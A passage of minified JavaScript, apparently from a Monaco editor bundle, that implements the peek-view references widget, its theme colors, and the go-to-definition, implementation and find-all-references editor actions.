V&&n.dispose()},e._ids={FileReferences:\"FileReferences\",OneReference:\"OneReference\"},e=v([y(0,S.IWorkspaceContextService),y(1,D.IThemeService),y(2,b.optional(R.IEnvironmentService))],e)}(),K=function(){function e(){}return e.prototype.getAriaLabel=function(e,t){return t instanceof T.FileReferences?t.getAriaMessage():t instanceof T.OneReference?t.getAriaMessage():void 0},e}(),U=function(){function e(e,t){var n=this;this._disposables=[],this._onDidChangePercentages=new r.Emitter,this._ratio=t,this._sash=new p.Sash(e,{getVerticalSashLeft:function(){return n._width*n._ratio},getVerticalSashHeight:function(){return n._height}});var i;this._disposables.push(this._sash.addListener(\"start\",function(e){i=e.startX-n._width*n.ratio})),this._disposables.push(this._sash.addListener(\"change\",function(e){var t=e.currentX-i;t>20&&t+20<n._width&&(n._ratio=t/n._width,n._sash.layout(),n._onDidChangePercentages.fire(n))}))}return e.prototype.dispose=function(){this._sash.dispose(),this._onDidChangePercentages.dispose(),s.dispose(this._disposables)},Object.defineProperty(e.prototype,\"onDidChangePercentages\",{get:function(){return this._onDidChangePercentages.event},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"width\",{set:function(e){this._width=e,this._sash.layout()},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"height\",{set:function(e){this._height=e,this._sash.layout()},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"percentages\",{get:function(){var e=100*this._ratio;return[e+\"%\",100-e+\"%\"]},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"ratio\",{get:function(){return this._ratio},enumerable:!0,configurable:!0}),e}(),j=function(e){function u(t,n,i,o,s,a,u){var l=e.call(this,t,{showFrame:!1,showArrow:!0,isResizeable:!0,isAccessible:!0})||this;return l.layoutData=n,l._textModelResolverService=i,l._contextService=o,l._themeService=s,l._instantiationService=a,l._environmentService=u,l._disposeOnNewModel=[],l._callOnDispose=[],l._onDidSelectReference=new r.Emitter,l._applyTheme(s.getTheme()),l._callOnDispose.push(s.onThemeChange(l._applyTheme.bind(l))),l._instantiationService=l._instantiationService.createChild(new w.ServiceCollection([M.IPeekViewService,l])),l.create(),l}return f(u,e),u.prototype._applyTheme=function(e){var n=e.getColor(t.peekViewBorder)||c.Color.transparent;this.style({arrowColor:n,frameColor:n,headerBackgroundColor:e.getColor(t.peekViewTitleBackground)||c.Color.transparent,primaryHeadingColor:e.getColor(t.peekViewTitleForeground),secondaryHeadingColor:e.getColor(t.peekViewTitleInfoForeground)})},u.prototype.dispose=function(){this.setModel(null),this._callOnDispose=s.dispose(this._callOnDispose),s.dispose(this._preview,this._previewNotAvailableMessage,this._tree,this._sash,this._previewModelReference),e.prototype.dispose.call(this)},Object.defineProperty(u.prototype,\"onDidSelectReference\",{get:function(){return this._onDidSelectReference.event},enumerable:!0,configurable:!0}),u.prototype.show=function(t){this.editor.revealRangeInCenterIfOutsideViewport(t),e.prototype.show.call(this,t,this.layoutData.heightInLines||18)},u.prototype.focus=function(){this._tree.DOMFocus()},u.prototype._onTitleClick=function(e){this._preview&&this._preview.getModel()&&this._onDidSelectReference.fire({element:this._getFocusedReference(),kind:e.ctrlKey||e.metaKey?\"side\":\"open\",source:\"title\"})},u.prototype._fillBody=function(e){var t=this,i=d.$(e);this.setCssClass(\"reference-zone-widget\"),i.div({class:\"messages\"},function(e){t._messageContainer=e.hide()}),i.div({class:\"preview inline\"},function(e){var i={scrollBeyondLastLine:!1,scrollbar:{verticalScrollbarSize:14,horizontal:\"auto\",useShadows:!0,verticalHasArrows:!1,horizontalHasArrows:!1},overviewRulerLanes:2,fixedOverflowWidgets:!0,minimap:{enabled:!1}};t._preview=t._instantiationService.createInstance(N.EmbeddedCodeEditorWidget,e.getHTMLElement(),i,t.editor),t._previewContainer=e.hide(),t._previewNotAvailableMessage=x.Model.createFromString(n.localize(3,null))}),this._sash=new U(e,this.layoutData.ratio||.8),this._sash.onDidChangePercentages(function(){var e=t._sash.percentages,n=e[0],i=e[1];t._previewContainer.style({width:n}),t._treeContainer.style({width:i}),t._preview.layout(),t._tree.layout(),t.layoutData.ratio=t._sash.ratio}),i.div({class:\"ref-tree inline\"},function(e){var i={dataSource:t._instantiationService.createInstance(W),renderer:t._instantiationService.createInstance(z),controller:new B,accessibilityProvider:new K},o={allowHorizontalScroll:!1,twistiePixels:20,ariaLabel:n.localize(4,null)};t._tree=new C.Tree(e.getHTMLElement(),i,o),t._callOnDispose.push(O.attachListStyler(t._tree,t._themeService)),t._treeContainer=e.hide()})},u.prototype._doLayoutBody=function(t,n){e.prototype._doLayoutBody.call(this,t,n);var i=t+\"px\";this._sash.height=t,this._sash.width=n;var o=this._sash.percentages,r=o[0],s=o[1];this._previewContainer.style({height:i,width:r}),this._treeContainer.style({height:i,width:s}),this._tree.layout(t),this._preview.layout(),this.layoutData={heightInLines:this._viewZone.heightInLines,ratio:this._sash.ratio}},u.prototype._onWidth=function(e){this._sash.width=e,this._preview.layout()},u.prototype.setSelection=function(e){return this._revealReference(e)},u.prototype.setModel=function(e){if(this._disposeOnNewModel=s.dispose(this._disposeOnNewModel),this._model=e,this._model)return this._onNewModel()},u.prototype._onNewModel=function(){var e=this;if(this._model.empty)return this.setTitle(\"\"),this._messageContainer.innerHtml(n.localize(5,null)).show(),l.TPromise.as(void 0);this._messageContainer.hide(),this._decorationsManager=new F(this._preview,this._model),this._disposeOnNewModel.push(this._decorationsManager),this._disposeOnNewModel.push(this._model.onDidChangeReferenceRange(function(t){return e._tree.refresh(t)})),this._disposeOnNewModel.push(this._tree.addListener(B.Events.FOCUSED,function(t){t instanceof T.OneReference&&(e._revealReference(t),e._onDidSelectReference.fire({element:t,kind:\"show\",source:\"tree\"}))})),this._disposeOnNewModel.push(this._tree.addListener(B.Events.SELECTED,function(t){t instanceof T.OneReference&&e._onDidSelectReference.fire({element:t,kind:\"goto\",source:\"tree\"})})),this._disposeOnNewModel.push(this._tree.addListener(B.Events.OPEN_TO_SIDE,function(t){t instanceof T.OneReference&&e._onDidSelectReference.fire({element:t,kind:\"side\",source:\"tree\"})})),this._disposeOnNewModel.push(this._preview.onMouseDown(function(t){2===t.event.detail&&e._onDidSelectReference.fire({element:e._getFocusedReference(),kind:t.event.ctrlKey||t.event.metaKey?\"side\":\"open\",source:\"editor\"})})),h.addClass(this.container,\"results-loaded\"),this._treeContainer.show(),this._previewContainer.show(),this._preview.layout(),this._tree.layout(),this.focus();var t=1===this._model.groups.length?this._model.groups[0]:this._model;return this._tree.setInput(t)},u.prototype._getFocusedReference=function(){var e=this._tree.getFocus();return e instanceof T.OneReference?e:e instanceof T.FileReferences&&e.children.length>0?e.children[0]:void 0},u.prototype._revealReference=function(e){var t=this;e.uri.scheme!==a.Schemas.inMemory?this.setTitle(e.name,o.getPathLabel(e.directory,this._contextService,this._environmentService)):this.setTitle(n.localize(6,null));var r=this._textModelResolverService.createModelReference(e.uri);return l.TPromise.join([r,this._tree.reveal(e)]).then(function(n){var i=n[0];if(t._model){s.dispose(t._previewModelReference);var o=i.object;if(o){t._previewModelReference=i,t._preview.setModel(o.textEditorModel);var r=E.Range.lift(e.range).collapseToStart();t._preview.setSelection(r),t._preview.revealRangeInCenter(r)}else t._preview.setModel(t._previewNotAvailableMessage),i.dispose();t._tree.setSelection([e]),t._tree.setFocus(e)}else i.dispose()},i.onUnexpectedError)},u}(M.PeekViewWidget);t.ReferenceWidget=j,t.peekViewTitleBackground=I.registerColor(\"peekViewTitle.background\",{dark:\"#1E1E1E\",light:\"#FFFFFF\",hc:\"#0C141F\"},n.localize(7,null)),t.peekViewTitleForeground=I.registerColor(\"peekViewTitleLabel.foreground\",{dark:\"#FFFFFF\",light:\"#333333\",hc:\"#FFFFFF\"},n.localize(8,null)),t.peekViewTitleInfoForeground=I.registerColor(\"peekViewTitleDescription.foreground\",{dark:\"#ccccccb3\",light:\"#6c6c6cb3\",hc:\"#FFFFFF99\"},n.localize(9,null)),t.peekViewBorder=I.registerColor(\"peekView.border\",{dark:\"#007acc\",light:\"#007acc\",hc:I.contrastBorder},n.localize(10,null)),t.peekViewResultsBackground=I.registerColor(\"peekViewResult.background\",{dark:\"#252526\",light:\"#F3F3F3\",hc:c.Color.black},n.localize(11,null)),t.peekViewResultsMatchForeground=I.registerColor(\"peekViewResult.lineForeground\",{dark:\"#bbbbbb\",light:\"#646465\",hc:c.Color.white},n.localize(12,null)),t.peekViewResultsFileForeground=I.registerColor(\"peekViewResult.fileForeground\",{dark:c.Color.white,light:\"#1E1E1E\",hc:c.Color.white},n.localize(13,null)),t.peekViewResultsSelectionBackground=I.registerColor(\"peekViewResult.selectionBackground\",{dark:\"#3399ff33\",light:\"#3399ff33\",hc:null},n.localize(14,null)),t.peekViewResultsSelectionForeground=I.registerColor(\"peekViewResult.selectionForeground\",{dark:c.Color.white,light:\"#6C6C6C\",hc:c.Color.white},n.localize(15,null)),t.peekViewEditorBackground=I.registerColor(\"peekViewEditor.background\",{dark:\"#001F33\",light:\"#F2F8FC\",hc:c.Color.black},n.localize(16,null)),t.peekViewEditorGutterBackground=I.registerColor(\"peekViewEditorGutter.background\",{dark:t.peekViewEditorBackground,light:t.peekViewEditorBackground,hc:t.peekViewEditorBackground},n.localize(17,null)),t.peekViewResultsMatchHighlight=I.registerColor(\"peekViewResult.matchHighlightBackground\",{dark:\"#ea5c004d\",light:\"#ea5c004d\",hc:null},n.localize(18,null)),t.peekViewEditorMatchHighlight=I.registerColor(\"peekViewEditor.matchHighlightBackground\",{dark:\"#ff8f0099\",light:\"#f5d802de\",hc:null},n.localize(19,null)),D.registerThemingParticipant(function(e,n){var i=e.getColor(t.peekViewResultsMatchHighlight);i&&n.addRule(\".monaco-editor .reference-zone-widget .ref-tree .referenceMatch { background-color: \"+i+\"; }\");var o=e.getColor(t.peekViewEditorMatchHighlight);o&&n.addRule(\".monaco-editor .reference-zone-widget .preview .reference-decoration { background-color: \"+o+\"; }\");var r=e.getColor(I.activeContrastBorder);r&&(n.addRule(\".monaco-editor .reference-zone-widget .ref-tree .referenceMatch { border: 1px dotted \"+r+\"; box-sizing: border-box; }\"),n.addRule(\".monaco-editor .reference-zone-widget .preview .reference-decoration { border: 2px solid \"+r+\"; box-sizing: border-box; }\"));var s=e.getColor(t.peekViewResultsBackground);s&&n.addRule(\".monaco-editor .reference-zone-widget .ref-tree { background-color: \"+s+\"; }\");var a=e.getColor(t.peekViewResultsMatchForeground);a&&n.addRule(\".monaco-editor .reference-zone-widget .ref-tree { color: \"+a+\"; }\");var u=e.getColor(t.peekViewResultsFileForeground);u&&n.addRule(\".monaco-editor .reference-zone-widget .ref-tree .reference-file { color: \"+u+\"; }\");var l=e.getColor(t.peekViewResultsSelectionBackground);l&&n.addRule(\".monaco-editor .reference-zone-widget .ref-tree .monaco-tree.focused .monaco-tree-rows > .monaco-tree-row.selected:not(.highlighted) { background-color: \"+l+\"; }\");var c=e.getColor(t.peekViewResultsSelectionForeground);c&&n.addRule(\".monaco-editor .reference-zone-widget .ref-tree .monaco-tree.focused .monaco-tree-rows > .monaco-tree-row.selected:not(.highlighted) { color: \"+c+\" !important; }\");var d=e.getColor(t.peekViewEditorBackground);d&&n.addRule(\".monaco-editor .reference-zone-widget .preview .monaco-editor .monaco-editor-background,.monaco-editor .reference-zone-widget .preview .monaco-editor .inputarea.ime-input {\\tbackground-color: \"+d+\";}\");var h=e.getColor(t.peekViewEditorGutterBackground);h&&n.addRule(\".monaco-editor .reference-zone-widget .preview .monaco-editor .margin {\\tbackground-color: \"+h+\";}\")})}),define(d[198],h([1,0,364,10,3,36,64,11,16,19,50,58,62,144,76,30,92,544,87,14,12,156]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,f,g,m,_,C,b,w,S){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.ctxReferenceSearchVisible=new l.RawContextKey(\"referenceSearchVisible\",!1);var E=function(){function e(e,n,i,o,r,s,a,u,l,c,d,h,p){this._editorService=i,this._textModelResolverService=o,this._telemetryService=r,this._messageService=s,this._instantiationService=a,this._contextService=u,this._storageService=l,this._themeService=c,this._configurationService=d,this._peekViewService=h,this._environmentService=p,this._requestIdPool=0,this._disposables=[],this._ignoreModelChangeEvent=!1,this._editor=e,this._referenceSearchVisible=t.ctxReferenceSearchVisible.bindTo(n)}return E=e,e.get=function(e){return e.getContribution(E.ID)},e.prototype.getId=function(){return E.ID},e.prototype.dispose=function(){this._widget&&(this._widget.dispose(),this._widget=null),this._editor=null},e.prototype.toggleWidget=function(e,t,i){var o,s=this;if(this._widget&&(o=this._widget.position),this.closeWidget(),o&&e.containsPosition(o))return null;this._referenceSearchVisible.set(!0),this._disposables.push(this._editor.onDidChangeModelLanguage(function(){s.closeWidget()})),this._disposables.push(this._editor.onDidChangeModel(function(){s._ignoreModelChangeEvent||s.closeWidget()}));var u=JSON.parse(this._storageService.get(\"peekViewLayout\",void 0,\"{}\"));this._widget=new _.ReferenceWidget(this._editor,u,this._textModelResolverService,this._contextService,this._themeService,this._instantiationService,this._environmentService),this._widget.setTitle(n.localize(0,null)),this._widget.show(e),this._disposables.push(this._widget.onDidClose(function(){t.cancel(),s._storageService.store(\"peekViewLayout\",JSON.stringify(s._widget.layoutData)),s._widget=null,s.closeWidget()})),this._disposables.push(this._widget.onDidSelectReference(function(e){var t=e.element,n=e.kind;switch(n){case\"open\":if(\"editor\"===e.source&&s._configurationService.lookup(\"editor.stablePeek\").value)break;case\"side\":s._openReference(t,\"side\"===n);break;case\"goto\":i.onGoto?i.onGoto(t):s._gotoReference(t)}}));var l=++this._requestIdPool,c=t.then(function(t){if(l===s._requestIdPool&&s._widget){s._model&&s._model.dispose(),s._model=t;var n=Date.now();return s._disposables.push({dispose:function(){s._telemetryService.publicLog(\"zoneWidgetShown\",{mode:\"reference search\",elapsedTime:Date.now()-n})}}),s._widget.setModel(s._model).then(function(){s._widget.setMetaTitle(i.getMetaTitle(s._model));var t=s._editor.getModel().uri,n=new w.Position(e.startLineNumber,e.startColumn),o=s._model.nearestReference(t,n);if(o)return s._widget.setSelection(o)})}},function(e){s._messageService.show(r.default.Error,e)}),d=a.stopwatch(a.fromPromise(c)),h=this._editor.getModel().getLanguageIdentifier().language;d(function(e){return s._telemetryService.publicLog(\"findReferences\",{duration:e,mode:h})})},e.prototype.closeWidget=function(){this._widget&&(this._widget.dispose(),this._widget=null),this._referenceSearchVisible.reset(),this._disposables=o.dispose(this._disposables),this._model&&(this._model.dispose(),this._model=null),this._editor.focus(),this._requestIdPool+=1},e.prototype._gotoReference=function(e){var t=this;this._widget.hide(),this._ignoreModelChangeEvent=!0;var n=e.uri,o=e.range;this._editorService.openEditor({resource:n,options:{selection:o}}).done(function(e){t._ignoreModelChangeEvent=!1,e&&e.getControl()===t._editor?(t._widget.show(o),t._widget.focus()):t.closeWidget()},function(e){t._ignoreModelChangeEvent=!1,i.onUnexpectedError(e)})},e.prototype._openReference=function(e,t){var n=e.uri,i=e.range;this._editorService.openEditor({resource:n,options:{selection:i}},t),t||this.closeWidget()},e.ID=\"editor.contrib.referencesController\",e=E=v([g.editorContribution,y(1,l.IContextKeyService),y(2,s.IEditorService),y(3,C.ITextModelService),y(4,d.ITelemetryService),y(5,c.IMessageService),y(6,u.IInstantiationService),y(7,p.IWorkspaceContextService),y(8,f.IStorageService),y(9,b.IThemeService),y(10,h.IConfigurationService),y(11,u.optional(m.IPeekViewService)),y(12,u.optional(S.IEnvironmentService))],e);var E}();t.ReferencesController=E}),define(d[199],h([1,0,351,51,40,15,36,7,64,50,2,13,177,198,125,92,19,521,21]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,g,m,_,y,C){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var b=function(){return function(e,t,n,i){void 0===e&&(e=!1),void 0===t&&(t=!1),void 0===n&&(n=!0),void 0===i&&(i=!0),this.openToSide=e,this.openInPeek=t,this.filterCurrent=n,this.showMessage=i}}();t.DefinitionActionConfig=b;var w=function(e){function t(t,n){var i=e.call(this,n)||this;return i._configuration=t,i}return f(t,e),t.prototype.run=function(e,t){var n=this,i=e.get(l.IMessageService),o=e.get(u.IEditorService),r=t.getModel(),a=t.getPosition();return this._getDeclarationsAtPosition(r,a).then(function(e){if(!r.isDisposed()&&t.getModel()===r){for(var i=-1,s=[],u=0;u<e.length;u++){var l=e[u];if(l&&l.range){var d=l.uri,h=l.range,p=s.push({uri:d,range:h});n._configuration.filterCurrent&&d.toString()===r.uri.toString()&&c.Range.containsPosition(h,a)&&-1===i&&(i=p-1)}}if(0===s.length){if(n._configuration.showMessage){var f=r.getWordAtPosition(a);y.MessageController.get(t).showMessage(n._getNoResultFoundMessage(f),a)}}else if(1===s.length&&-1!==i){var m=s[0];n._openReference(o,m,!1)}else n._onResult(o,t,new g.ReferencesModel(s))}},function(e){return i.show(s.default.Error,e),!1})},t.prototype._getDeclarationsAtPosition=function(e,t){return h.getDefinitionsAtPosition(e,t)},t.prototype._getNoResultFoundMessage=function(e){return e&&e.word?n.localize(0,null,e.word):n.localize(1,null)},t.prototype._getMetaTitle=function(e){return e.references.length>1&&n.localize(2,null,e.references.length)},t.prototype._onResult=function(e,t,n){var o=this,r=n.getAriaMessage();if(i.alert(r),this._configuration.openInPeek)this._openInPeek(e,t,n);else{var s=n.nearestReference(t.getModel().uri,t.getPosition());this._openReference(e,s,this._configuration.openToSide).then(function(t){t&&n.references.length>1?o._openInPeek(e,t,n):n.dispose()})}},t.prototype._openReference=function(e,t,n){var i=t.uri,o=t.range;return e.openEditor({resource:i,options:{selection:c.Range.collapseToStart(o),revealIfVisible:!n}},n).then(function(e){return e&&e.getControl()})},t.prototype._openInPeek=function(e,t,n){var i=this,o=p.ReferencesController.get(t);o?o.toggleWidget(t.getSelection(),a.TPromise.as(n),{getMetaTitle:function(e){return i._getMetaTitle(e)},onGoto:function(t){return o.closeWidget(),i._openReference(e,t,!1)}}):n.dispose()},t}(d.EditorAction);t.DefinitionAction=w;var S=r.isWeb?2118:70,E=function(e){function t(){return e.call(this,new b,{id:i.ID,label:n.localize(3,null),alias:\"Go to Definition\",precondition:_.ContextKeyExpr.and(C.EditorContextKeys.hasDefinitionProvider,C.EditorContextKeys.isInEmbeddedEditor.toNegated()),kbOpts:{kbExpr:C.EditorContextKeys.textFocus,primary:S},menuOpts:{group:\"navigation\",order:1.1}})||this}return f(t,e),i=t,t.ID=\"editor.action.goToDeclaration\",t=i=v([d.editorAction],t);var i}(w);t.GoToDefinitionAction=E;var L=function(e){function t(){return e.call(this,new b(!0),{id:i.ID,label:n.localize(4,null),alias:\"Open Definition to the Side\",precondition:_.ContextKeyExpr.and(C.EditorContextKeys.hasDefinitionProvider,C.EditorContextKeys.isInEmbeddedEditor.toNegated()),kbOpts:{kbExpr:C.EditorContextKeys.textFocus,primary:o.KeyChord(2089,S)}})||this}return f(t,e),i=t,t.ID=\"editor.action.openDeclarationToTheSide\",t=i=v([d.editorAction],t);var i}(w);t.OpenDefinitionToSideAction=L;var x=function(e){function t(){return e.call(this,new b(void 0,!0,!1),{id:\"editor.action.previewDeclaration\",label:n.localize(5,null),alias:\"Peek Definition\",precondition:_.ContextKeyExpr.and(C.EditorContextKeys.hasDefinitionProvider,m.PeekContext.notInPeekEditor,C.EditorContextKeys.isInEmbeddedEditor.toNegated()),kbOpts:{kbExpr:C.EditorContextKeys.textFocus,primary:582,linux:{primary:3140}},menuOpts:{group:\"navigation\",order:1.2}})||this}return f(t,e),t=v([d.editorAction],t)}(w);t.PeekDefinitionAction=x;var N=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return f(t,e),t.prototype._getDeclarationsAtPosition=function(e,t){return h.getImplementationsAtPosition(e,t)},t.prototype._getNoResultFoundMessage=function(e){return e&&e.word?n.localize(6,null,e.word):n.localize(7,null)},t.prototype._getMetaTitle=function(e){return e.references.length>1&&n.localize(8,null,e.references.length)},t}(w);t.ImplementationAction=N;var M=function(e){function t(){return e.call(this,new b,{id:i.ID,label:n.localize(9,null),alias:\"Go to Implementation\",precondition:_.ContextKeyExpr.and(C.EditorContextKeys.hasImplementationProvider,C.EditorContextKeys.isInEmbeddedEditor.toNegated()),kbOpts:{kbExpr:C.EditorContextKeys.textFocus,primary:2118}})||this}return f(t,e),i=t,t.ID=\"editor.action.goToImplementation\",t=i=v([d.editorAction],t);var i}(N);t.GoToImplementationAction=M;var T=function(e){function t(){return e.call(this,new b(!1,!0,!1),{id:i.ID,label:n.localize(10,null),alias:\"Peek Implementation\",precondition:_.ContextKeyExpr.and(C.EditorContextKeys.hasImplementationProvider,C.EditorContextKeys.isInEmbeddedEditor.toNegated()),kbOpts:{kbExpr:C.EditorContextKeys.textFocus,primary:3142}})||this}return f(t,e),i=t,t.ID=\"editor.action.peekImplementation\",t=i=v([d.editorAction],t);var i}(N);t.PeekImplementationAction=T;var k=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return f(t,e),t.prototype._getDeclarationsAtPosition=function(e,t){return h.getTypeDefinitionsAtPosition(e,t)},t.prototype._getNoResultFoundMessage=function(e){return e&&e.word?n.localize(11,null,e.word):n.localize(12,null)},t.prototype._getMetaTitle=function(e){return e.references.length>1&&n.localize(13,null,e.references.length)},t}(w);t.TypeDefinitionAction=k;var I=function(e){function t(){return e.call(this,new b,{id:i.ID,label:n.localize(14,null),alias:\"Go to Type Definition\",precondition:_.ContextKeyExpr.and(C.EditorContextKeys.hasTypeDefinitionProvider,C.EditorContextKeys.isInEmbeddedEditor.toNegated()),kbOpts:{kbExpr:C.EditorContextKeys.textFocus,primary:0},menuOpts:{group:\"navigation\",order:1.4}})||this}return f(t,e),i=t,t.ID=\"editor.action.goToTypeDefinition\",t=i=v([d.editorAction],t);var i}(k);t.GoToTypeDefintionAction=I;var D=function(e){function t(){return e.call(this,new b(!1,!0,!1),{id:i.ID,label:n.localize(15,null),alias:\"Peek Type Definition\",precondition:_.ContextKeyExpr.and(C.EditorContextKeys.hasTypeDefinitionProvider,C.EditorContextKeys.isInEmbeddedEditor.toNegated()),kbOpts:{kbExpr:C.EditorContextKeys.textFocus,primary:0}})||this}return f(t,e),i=t,t.ID=\"editor.action.peekTypeDefinition\",t=i=v([d.editorAction],t);var i}(k);t.PeekTypeDefinitionAction=D}),define(d[547],h([1,0,352,18,10,7,88,2,17,25,30,177,3,87,14,23,131,199,192,171]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,f,g,m,_,C){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});!function(){function e(e,t,n){var r=this;this.textModelResolverService=t,this.modeService=n,this.toUnhook=[],this.decorations=[],this.editor=e,this.throttler=new i.Throttler;var s=new C.ClickLinkGesture(e);this.toUnhook.push(s),this.toUnhook.push(s.onMouseMoveOrRelevantKeyDown(function(e){var t=e[0],n=e[1];r.startFindDefinition(t,n)})),this.toUnhook.push(s.onExecute(function(e){r.isEnabled(e)&&r.gotoDefinition(e.target,e.hasSideBySideModifier).done(function(){r.removeDecorations()},function(e){r.removeDecorations(),o.onUnexpectedError(e)})})),this.toUnhook.push(s.onCancel(function(){r.removeDecorations(),r.currentWordUnderMouse=null}))}return t=e,e.prototype.startFindDefinition=function(e,i){var s=this;if(!this.isEnabled(e,i))return this.currentWordUnderMouse=null,void this.removeDecorations();var u=e.target.position,l=u?this.editor.getModel().getWordAtPosition(u):null;if(!l)return this.currentWordUnderMouse=null,void this.removeDecorations();if(!this.currentWordUnderMouse||this.currentWordUnderMouse.startColumn!==l.startColumn||this.currentWordUnderMouse.endColumn!==l.endColumn||this.currentWordUnderMouse.word!==l.word){this.currentWordUnderMouse=l;var c=new m.EditorState(this.editor,15);this.throttler.queue(function(){return c.validate(s.editor)?s.findDefinition(e.target):r.TPromise.as(null)}).then(function(e){if(e&&e.length&&c.validate(s.editor))if(e.length>1)s.addDecoration(new a.Range(u.lineNumber,l.startColumn,u.lineNumber,l.endColumn),n.localize(0,null,e.length));else{var i=e[0];if(!i.uri)return;s.textModelResolverService.createModelReference(i.uri).then(function(e){if(e.object&&e.object.textEditorModel){var n=e.object.textEditorModel,o=i.range.startLineNumber;if(0!==n.getLineMaxColumn(o)){for(var r=n.getLineFirstNonWhitespaceColumn(o),c=Math.min(n.getLineCount(),o+t.MAX_SOURCE_PREVIEW_LINES),d=o+1,h=r;d<c;d++){var p=n.getLineFirstNonWhitespaceColumn(d);if(h=Math.min(h,p),r===p)break}var f=new a.Range(o,1,d+1,1),g=n.getValueInRange(f).replace(new RegExp(\"^\\\\s{\"+(h-1)+\"}\",\"gm\"),\"\").trim();s.addDecoration(new a.Range(u.lineNumber,l.startColumn,u.lineNumber,l.endColumn),{language:s.modeService.getModeIdByFilenameOrFirstLine(n.uri.fsPath),value:g}),e.dispose()}else e.dispose()}else e.dispose()})}else s.removeDecorations()}).done(void 0,o.onUnexpectedError)}},e.prototype.addDecoration=function(e,t){var n={range:e,options:{inlineClassName:\"goto-definition-link\",hoverMessage:t}};this.decorations=this.editor.deltaDecorations(this.decorations,[n])},e.prototype.removeDecorations=function(){this.decorations.length>0&&(this.decorations=this.editor.deltaDecorations(this.decorations,[]))},e.prototype.isEnabled=function(e,t){return this.editor.getModel()&&e.isNoneOrSingleMouseDown&&e.target.type===l.MouseTargetType.CONTENT_TEXT&&(e.hasTriggerModifier||t&&t.keyCodeIsTriggerKey)&&u.DefinitionProviderRegistry.has(this.editor.getModel())},e.prototype.findDefinition=function(e){return this.editor.getModel()?d.getDefinitionsAtPosition(this.editor.getModel(),e.position):r.TPromise.as(null)},e.prototype.gotoDefinition=function(e,t){var n=this;this.editor.setPosition(e.position);var i=new _.DefinitionAction(new _.DefinitionActionConfig(t,!1,!0,!1),{alias:void 0,label:void 0,id:void 0,precondition:void 0});return this.editor.invokeWithinContext(function(e){return i.run(e,n.editor)})},e.prototype.getId=function(){return t.ID},e.prototype.dispose=function(){this.toUnhook=h.dispose(this.toUnhook)},e.ID=\"editor.contrib.gotodefinitionwithmouse\",e.MAX_SOURCE_PREVIEW_LINES=8,e=t=v([c.editorContribution,y(1,p.ITextModelService),y(2,s.IModeService)],e);var t}();f.registerThemingParticipant(function(e,t){var n=e.getColor(g.editorActiveLinkForeground);n&&t.addRule(\".monaco-editor .goto-definition-link { color: \"+n+\" !important; }\")})}),define(d[548],h([1,0,363,24,7,64,16,31,19,105,12,2,20,13,17,92,198,125,18,10,21]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,g,m,_,C,b,w,S){\"use strict\";function E(e,t){var n=m.getOuterEditor(e);if(n){var i=_.ReferencesController.get(n);i&&i.closeWidget()}}function L(e,t){var n=g.ReferenceProviderRegistry.ordered(e).map(function(n){return b.asWinJsPromise(function(i){return n.provideReferences(e,t,{includeDeclaration:!0},i)}).then(function(e){if(Array.isArray(e))return e},function(e){w.onUnexpectedExternalError(e)})});return o.TPromise.join(n).then(function(e){for(var t=[],n=0,i=e;n<i.length;n++){var o=i[n];o&&t.push.apply(t,o)}return t})}Object.defineProperty(t,\"__esModule\",{value:!0});var x={getMetaTitle:function(e){return e.references.length>1&&n.localize(0,null,e.references.length)}},N=function(){function e(e,t,n){n&&m.PeekContext.inPeekEditor.bindTo(t)}return t=e,e.prototype.dispose=function(){},e.prototype.getId=function(){return t.ID},e.ID=\"editor.contrib.referenceController\",e=t=v([p.commonEditorContribution,y(1,u.IContextKeyService),y(2,s.optional(m.IPeekViewService))],e);var t}();t.ReferenceController=N;var M=function(e){function t(){return e.call(this,{id:\"editor.action.referenceSearch.trigger\",label:n.localize(1,null),alias:\"Find All References\",precondition:u.ContextKeyExpr.and(S.EditorContextKeys.hasReferenceProvider,m.PeekContext.notInPeekEditor,S.EditorContextKeys.isInEmbeddedEditor.toNegated()),kbOpts:{kbExpr:S.EditorContextKeys.textFocus,primary:1094},menuOpts:{group:\"navigation\",order:1.5}})||this}return f(t,e),t.prototype.run=function(e,t){var n=_.ReferencesController.get(t);if(n){var i=t.getSelection(),o=L(t.getModel(),i.getStartPosition()).then(function(e){return new C.ReferencesModel(e)});n.toggleWidget(i,o,x)}},t=v([p.editorAction],t)}(p.EditorAction);t.ReferenceAction=M;a.CommandsRegistry.registerCommand(\"editor.action.findReferences\",function(e,t,n){if(!(t instanceof i.default))throw new Error(\"illegal argument, uri\");if(!n)throw new Error(\"illegal argument, position\");return e.get(r.IEditorService).openEditor({resource:t}).then(function(e){var t=e.getControl();if(h.isCommonCodeEditor(t)){var i=_.ReferencesController.get(t);if(i){var r=L(t.getModel(),c.Position.lift(n)).then(function(e){return new C.ReferencesModel(e)}),s=new d.Range(n.lineNumber,n.column,n.lineNumber,n.column);return o.TPromise.as(i.toggleWidget(s,r,x))}}})}),a.CommandsRegistry.registerCommand(\"editor.action.showReferences\",{handler:function(e,t,n,s){if(!(t instanceof i.default))throw new Error(\"illegal argument, uri expected\");return e.get(r.IEditorService).openEditor({resource:t}).then(function(e){var t=e.getControl();if(h.isCommonCodeEditor(t)){var i=_.ReferencesController.get(t);if(i)return o.TPromise.as(i.toggleWidget(new d.Range(n.lineNumber,n.column,n.lineNumber,n.column),o.TPromise.as(new C.ReferencesModel(s)),x)).then(function(){return!0})}})},description:{description:\"Show references at a position in a file\",args:[{name:\"uri\",description:\"The text document in which to show references\",constraint:i.default},{name:\"position\",description:\"The position at which to show\",constraint:c.Position.isIPosition},{name:\"locations\",description:\"An array of 